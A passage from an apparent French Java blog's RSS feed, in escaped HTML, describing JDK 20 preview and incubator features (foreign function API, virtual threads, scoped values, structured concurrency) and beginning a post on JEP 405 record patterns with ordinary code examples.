&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2022/05/JEP-427-Pattern-Matching-for-switch.html&quot;&gt;billet dédié sur le troisième aperçu&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;434_foreign_function_memory_api_second_preview&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/434&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;434 - Foreign Function &amp;amp; Memory API (Second Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cet aperçu correspond à la réunification de JEP en incubation Foreign Memory Access API et Foreign Linker API.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les travaux sont menés dans le cadre du &lt;a href=&quot;http://openjdk.java.net/projects/panama/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;projet Panama&lt;/a&gt;. L&amp;#8217;objectif est de faciliter l&amp;#8217;utilisation de module natif.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans ce cadre, il est un remplaçant de JNI (Java Native Interface). Il apporte un modèle purement Java.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les performances ne sont pas oubliés. Il doit être à minima aussi mieux que l&amp;#8217;utilisation de la fameux classe &lt;code&gt;sun.misc.Unsafe&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est de fournir un moyen de manipuler des différents zones mémoires (la mémoire native, mémoire persistante, mémoire de la pile managé) et d&amp;#8217;utiliser des fonctions écrites dans d&amp;#8217;autres langages (comme C, C++).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici un exemple d&amp;#8217;utilisation pour allouer de la mémoire&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (Arena offHeap = Arena.openConfined()) {
    MemorySegment nativeArray  = offHeap.allocateArray(ValueLayout.JAVA_INT, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9);
    MemorySegment nativeString = offHeap.allocateUtf8String(&quot;Hello!&quot;);
    MemorySegment upcallStub   = linker.upcallStub(handle, desc, offHeap.scope());
   ...
}  &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;La mémoire est libéré à ce niveau&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons rechercher une fonction d&amp;#8217;une librairie externe&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (Arena arena = Arena.openConfined()) {
    SymbolLookup opengl = SymbolLookup.libraryLookup(&quot;libGL.so&quot;, arena);
    MemorySegment glVersion = opengl.find(&quot;glGetString&quot;).get();
    ...
} &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;La librairie libGl.so est déchargée à ce niveau&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons un exemple concret de recherche et d&amp;#8217;appel de fonction externe.
Pour cela, nous allons utiliser la fonction &lt;code&gt;strlen&lt;/code&gt;. La signature de la fonction est la suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;size_t strlen(const char *s);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous recherchons cette fonction en précisant le type de retour.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Linker linker = Linker.nativeLinker();
MethodHandle strlen = linker.downcallHandle(
    linker.defaultLookup().find(&quot;strlen&quot;).get(),
    FunctionDescriptor.of(JAVA_LONG, ADDRESS)
);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons récupéré la référence &lt;code&gt;strlen&lt;/code&gt; vers la fonction éponyme.
Ainsi, nous allons pouvoir l&amp;#8217;appeler.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (Arena arena = Arena.openConfined()) {
    MemorySegment str = arena.allocateUtf8String(&quot;Hello&quot;); // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    long len          = strlen.invoke(str);                // &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
} &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nous allouons de la mémoire native.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La fonction retourne 5.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La mémoire allouée dans le bloc est libérée.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;436_virtual_threads_second_preview&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/436&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;436 - Virtual Threads (Second Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est intégration des travaux du projet &lt;a href=&quot;/tags/loom.html&quot;&gt;#loom&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de revoir la gestion de la concurrence. Les threads du système (appellés aussi threads plateforme) sont coûteux en mémoire et par conséquent limité vis à vis du système.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, l&amp;#8217;équipe a mis en place les threads virtuels. Ceux sont des threads gérés par la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour assurer la compatibilité, ils ont gardé la même interface &lt;code&gt;Runnable&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class HelloRunnable implements Runnable {
    public void run() {
        System.out.println(Thread.currentThread() + &quot; dit Coucou&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour la création et le lancement d&amp;#8217;un thread virtuel, il suffit de passer par la méthode &lt;code&gt;ofVirtual&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofVirtual.start(new HelloRunnable());&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors de l&amp;#8217;affichage du thread virtuel, nous obtenons la sortie suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;VirtualThread[#25]/runnable@ForkJoinPool-1-worker-1 dit Coucou&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons remarquer que le thread virtuel tourne bien au final sur un thread plateforme.
Un pool &lt;code&gt;ForkJoin&lt;/code&gt; spécifique a été mis en place pour cela.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;intérêt est que nous pouvons avoir plein de threads virtuels.
C&amp;#8217;est la JVM qui les gère. Le thread virtuel reste associé à un thread système.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;L&amp;#8217;équivalent existe pour les threads plateformes avec la méthode &lt;code&gt;ofPlatform&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofPlatform.start(new HelloRunnable());&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;2022/05/JEP-425-Virtual-Threads.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_incubation&quot;&gt;Fonctionnalités en mode Incubation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;429_scoped_values_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/429&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;429 - Scoped Values (Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les valeurs délimitées (Scoped Values) sont introduites pour faciliter le partage des données immutables entre les threads. Leur utilisation est préférable à la place des variables locales (&lt;code&gt;ThreadLocal&lt;/code&gt;). Surtout, si vous utilisez de nombreux, très nombreux threads virtuels.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les variables locales sont attachées aux threads. La donnée peut être mutable avec quiconque qui peut faire un appel de la méthode &lt;code&gt;get()&lt;/code&gt; ou &lt;code&gt;set()&lt;/code&gt;. Le développpeur peut aussi oublier de nettoyer les variables locales. De ce fait, la portée est plus grande que prévue initialement au départ.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A la différence, les valeurs délimités ont une structure syntaxique qui permet de déterminer la période où le thread associé peut y accèder.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class Server {
    final static ScopedValue&amp;lt;Principal&amp;gt; PRINCIPAL = new ScopedValue&amp;lt;&amp;gt;();   // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;

    void serve(Request request, Response response) {
        var level     = (request.isAdmin() ? ADMIN : GUEST);
        var principal = new Principal(level);
        ScopedValue.where(PRINCIPAL, principal)
                   .run(() -&amp;gt; Application.handle(request, response));      // &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Définition de la valeur délimitée&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La valeur est accessible uniquement dans la méthode &lt;code&gt;run()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour y accèder, nous passons par le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;DBConnection open() {
    var principal = Server.PRINCIPAL.get();                               // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
    if (!principal.canOpen()) throw new  InvalidPrincipalException();
    return newConnection(...);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Utilisation de la valeur délimitée&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela fonctionne uniquement si l&amp;#8217;appel de la méthode &lt;code&gt;open()&lt;/code&gt; est effectuée dans un bloc &lt;code&gt;where(&amp;#8230;&amp;#8203;)&lt;/code&gt; et &lt;code&gt;run(&amp;#8230;&amp;#8203;)&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;437_structured_concurrency_second_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/437&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;437 - Structured Concurrency (Second Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec les threads virtuels, l&amp;#8217;utilisation de pool avec les exécuteurs n&amp;#8217;est plus le modèle de concurrence adéquate.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, maintenant, il est possible d&amp;#8217;avoir plusieurs milliers ou millions de threads virtuels. Pour cela, il est nécessaire d&amp;#8217;avoir un nouveau style de programmation plus adapté qui pourra éliminer les problèmes d&amp;#8217;annulation et d&amp;#8217;arrêt de thread.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le code où nous pouvons voir trois partie :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Définition de l&amp;#8217;ensemble es &lt;code&gt;Future&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mise en place de la barrière pour les threads créés précédemment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Suite des opérations car la barrière a été franchie avec succès.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Response handle() throws ExecutionException, InterruptedException {
    try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {     // &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;
        Future&amp;lt;String&amp;gt;  user  = scope.fork(() -&amp;gt; findUser());
        Future&amp;lt;Integer&amp;gt; order = scope.fork(() -&amp;gt; fetchOrder());

        scope.join();           // Barrière pour les deux threads
        scope.throwIfFailed();  // ... et propage les erreurs s&apos;il y a en

        // Ici, nous savons que les deux threads sont terminés avec succès
        // et que nous avons leur résultat.
        return new Response(user.resultNow(), order.resultNow());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Arrêt s&amp;#8217;il y a un échec sur au moins un Thread&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il existe plusieurs politiques pour configurer la barrirère et surtout il est possible d&amp;#8217;écrire la sienne.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;438_vector_api_firth_incubator&quot;&gt;&lt;a href=&quot;https://openjdk.org/jeps/438&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;438 - Vector API (Firth Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;API Vectorielle a été proposée la première fois dans le JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de fournir une API afin de fournir un mécanisme pour exprimer des calculs vectoriels. Elle utilise les instructions vectorielles optimales sur les architectures CPU prises en charge. Cela permet d&amp;#8217;obtenir des performances accrues vis à vis des calculs scalaires&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les performances ont été améliorées dans cette version. Notamment, pour traduire les vecteurs d&amp;#8217;objets vers et depuis les tableaux booléens.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.org/projects/jdk/20/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JDK 20&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 405, Record Patterns (Preview)</title>
      <link>https://www.lilian-benoit.fr/2022/06/JEP-405-Record-Patterns.html</link>
      <pubDate>dim., 12 juin 2022 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2022/06/JEP-405-Record-Patterns.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#le_principe&quot;&gt;Le principe&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#pour_aller_plus_loin&quot;&gt;Pour aller plus loin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#support_des_génériques&quot;&gt;Support des génériques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exhaustivité_du_switch&quot;&gt;Exhaustivité du switch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le mois dernier, nous avons parlé du filtrage par motif pour le cas de l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt;. La première utilisation de ce principe a été pour le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt; (&lt;a href=&quot;https://openjdk.java.net/jeps/406&quot;&gt;JEP 406&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, nous avions avant ce type de code :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String) {
    String s = (String) obj;
    // utilisation de s
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous pouvons écrire simplement le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String s) {
    // utilisation de s en tant que chaine de caractere
    ... s.contains(..);
} else {
    // pas possible d&apos;utiliser la variable s
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;vous pouvez consulter ce &lt;a href=&quot;/2021/03/JDK16-Nouveautes.html#394_pattern_matching_for_instanceof&quot;&gt;billet&lt;/a&gt; pour avoir plus d&amp;#8217;informations.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Côté des enregistrements (Record), cela a été introduit dans le JDK14 en mode aperçu.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, cela permet de définir des classes sous une forme simplifiée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour plus de précision, vous pouvez consulter ce &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#384_records_second_preview&quot;&gt;billet&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voilà pour le contexte, passons au principe de cette JEP.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;le_principe&quot;&gt;Le principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;écrire du code utilisant les deux fonctionnalités précédentes : Les enregistrements (Record) et les motifs (Patterns).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons la définition de l&amp;#8217;enregistrement &lt;code&gt;Point&lt;/code&gt; suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;D&amp;#8217;ores et déjà, nous pouvons écrire le code suivant avec le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSomme(Object o) {
    if (o instanceof Point p) {
        int a = p.x();
        int b = p.y();
        System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les classes classiques sont basées sur le principe de l&amp;#8217;encapsulation. C&amp;#8217;est à dire que nous connaissons le contrat de services via l&amp;#8217;interface mais nous ne connaissons pas le détail de l&amp;#8217;implémentation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A l&amp;#8217;inverse, les enregistrements (Record) mettent en avant leur structure interne. L&amp;#8217;enregistrement &lt;code&gt;Point&lt;/code&gt; est composé d&amp;#8217;une valeur x et d&amp;#8217;une valeur y.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par ce principe, nous allons pouvoir écrire l&amp;#8217;instruction &lt;code&gt;instanceof&lt;/code&gt; comme ceci :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;void afficheSomme(Object o) {
    if (o instanceof Point(int a, int b)) {
        System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;pour_aller_plus_loin&quot;&gt;Pour aller plus loin&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons manipuler des enregistrements plus complexe. Par exemple, prenons un enregistrement &lt;code&gt;Rectangle&lt;/code&gt; qui est composé de deux &lt;code&gt;Point&lt;/code&gt;:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Rectangle(Point hautGauche, Point basDroit) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par conséquent, nous pouvons écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, Point bd)) {
         System.out.println(hg.x() + hg.y());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui nous intéresse dans le code est le point haut à gauche, donc nous pouvons ignorer le second point.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, var bd)) {
         System.out.println(hg.x() + hg.y());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, nous savons qu&amp;#8217;un &lt;code&gt;Point&lt;/code&gt; contient deux valeurs. Par conséquent, nous pouvons appliquer le même principe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
